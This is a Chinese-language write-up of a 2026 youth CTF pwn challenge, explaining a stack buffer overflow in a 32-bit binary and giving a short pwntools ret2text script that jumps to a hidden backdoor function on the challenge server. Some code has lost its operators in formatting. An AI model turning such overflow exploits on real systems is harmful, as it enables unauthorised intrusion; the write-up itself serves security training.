【青少年CTF S1·2026 公益赛】好多“后”门!
通过Exeinfo PE查询是32位的系统Linux下可以使用checksec进行查询都是一些关闭缓冲区的函数没什么用int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdout, 0); setbuf(stdin, 0); setbuf(stderr, 0); Team(); return 0; }主要的漏洞函数在Team()中int Team() { char buf; // [esp8h] [ebp-90h] puts((const char *)unk_8049930); fflush(stdout); read(0, buf, 0x100u); puts(buf); printf(Did you not read the question? ); return fflush(stdout); }可以看到read有溢出buf的长度是90h但是read给buf读入了100h的长度题目中有很多假的后面函数真正的后面函数是f4ck_backdoor_flag因此可以ret2text直接通过溢出跳转到后面函数即可填充垃圾数据为 0x90 0x432位的EBP长度为4对于f4ck_backdoor_flag的函数地址我们可以在IDA中直接查找或者直接使用elf.symbols直接定位payload如下from pwn import * p remote(challenge.qsnctf.com, 52856) elf ELF(./pwn) offset 148 backdoor elf.symbols[f4ck_backdoor_flag] # 注意填充垃圾字符前面要有个b由于程序是32位的程序后门程序要用p32()包裹 payload ba * offset p32(backdoor) p.sendline(payload) p.interactive()